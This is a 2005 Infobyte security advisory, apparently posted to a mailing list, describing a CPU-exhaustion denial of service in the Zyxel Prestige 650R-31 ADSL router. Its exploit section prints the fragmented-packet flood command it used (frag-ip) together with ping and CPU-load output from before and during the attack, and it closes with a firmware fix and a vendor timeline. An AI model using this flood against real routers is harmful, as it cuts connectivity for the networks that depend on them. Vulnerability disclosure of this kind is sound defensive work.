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[ISR] Zyxel Prestige 650R-31 Denial Of Service
From: Federico Kirschbaum <fedek () infobyte com ar>
Date: Mon, 23 May 2005 19:34:56 -0300

Here is  Attched the Prestige 650R-31 Advisorie
it's already published over Bugtraq
|| Infobyte Security Research 
|| www.infobyte.com.ar
|| 04.08.2005 

        Prestige 650R-31 (ADSL Router)
            -CPU exausting handling malformed fragmented packets
        Affected ZyNOS FW v3.40(KO.1)
        It is suspected that all previous versions of ZyNOS are vulnerable.

    Zyxel Prestige 600 Series, A Popular ADSL (Modem | Router)  

        Prestige 650R-31 fails handling malformed fragmented IP packets
        The Cpu goes up to 100% when the attack is re-assembled and processed.
.:: EXPLOIT     
        Any ip crafting tool will  do the job, in this case we used 
        a fragmented ip generator coded by Fryx

root () r2d2:~/infobyte# ping
PING ( 56 octets data
64 octets from icmp_seq=0 ttl=254 time=2.5 ms
64 octets from icmp_seq=1 ttl=254 time=2.3 ms
--- ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
 -Prestige Status  (Normal)
     Status: 100M/Full Duplex Tx Pkts: 71
     Collisions: 0            Rx Pkts: 164
   CPU Load =    4.09%

root () r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l  64000 -a 1
Sending packets with ID 1 (frags length=56, total length=64000)
root () r2d2:~/infobyte# ping
PING ( 56 octets data
64 octets from icmp_seq=50 ttl=254 time=1002.3 ms 
64 octets from icmp_seq=51 ttl=254 time=7.7 ms 
-- ping statistics ---
51 packets transmitted, 2 packets received, 93% packet loss
  -Prestige Status (During the denial)
     Status: 100M/Full Duplex Tx Pkts: 71
     Collisions: 0            Rx Pkts: 164
   CPU Load =    99.59%  


        Total loss of conectivity and forwarding, at least for 1 minute.
        If you send more amount of fragmented packages mores is the denial
        These procedures where done in a local way
        Remote attacks where not yet made.      
.:: FIX
        The vendor claims its not a vulnerability, that is rather a "Hardware Limitation"
        But seems an the last release of it's firmware fixed the problem.  
        Upgrade the firmware to V3.40(GT.5)
        05/02/2005 Initial vendor notification
        05/03/2005 Initial vendor response
        05/08/2005 Vendor determined as a HW limitation
        05/10/2005 No response from vendor to several mails


        Federico Kirschbaum is credited with discovering this vulnerability.


        Copyright (c) 2005 by [ISR] Infobyte Security Research.
        Permission to redistribute this alert electronically is granted as long as it is not 
        edited in any way unless authorized by Infobyte Security Research Response. 
        Reprinting the whole or part of this alert in any medium other than electronically 
        requires permission from infobyte com ar

        The information in the advisory is believed to be accurate at the time of publishing 
        based on currently available information. Use of the information constitutes acceptance 
        for use in an AS IS condition. There are no warranties with regard to this information. 
        Neither the author nor the publisher accepts any liability for any direct, indirect, or 
        consequential loss or damage arising from use of, or reliance on, this information.
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